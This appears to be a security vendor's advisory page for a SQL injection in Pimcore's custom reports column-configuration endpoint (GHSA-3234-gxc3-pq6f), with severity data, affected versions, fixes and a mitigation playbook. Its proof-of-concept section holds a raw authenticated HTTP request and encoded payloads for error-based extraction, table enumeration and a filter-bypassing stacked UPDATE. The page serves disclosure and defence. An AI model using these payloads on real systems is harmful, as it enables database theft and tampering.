GHSA-3234-gxc3-pq6f is a high-severity (CVSS 8.7) SQL Injection vulnerability in pimcore/pimcore. O3 Security confirms whether GHSA-3234-gxc3-pq6f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3234-gxc3-pq6f.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-3234-gxc3-pq6f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pimcore/pimcore🐘pimcore/pimcore🐘pimcore/pimcoreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.
Affected scope
bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()
PoC
- Download and install the version Pimcore <=12.3.3 (latest)
- Login using Admin account or any account that has reports_config permission
- Navigate to custom reports
- Capture the request using burp suite and perform SQLi attack as the following
- Get Database username
POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1
Host: localhost
Content-Length: 310
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
X-pimcore-extjs-version-minor: 0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4
X-pimcore-extjs-version-major: 7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/
Accept-Encoding: gzip, deflate, br
Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM
Connection: keep-alive
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
- Get Database name
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
- Get Tables names Note: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
- Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
Impact
By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pimcore/pimcore | ≥ 2026.1.0&&< 2026.1.2 | 2026.1.2 |
| 🐘Packagist | pimcore/pimcore | all versions | 11.5.17 |
| 🐘Packagist | pimcore/pimcore | ≥ 12.0.0-RC1&&< 12.3.6 | 12.3.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/pimcore. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pimcore/pimcore to 2026.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3234-gxc3-pq6f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3234-gxc3-pq6f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3234-gxc3-pq6f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
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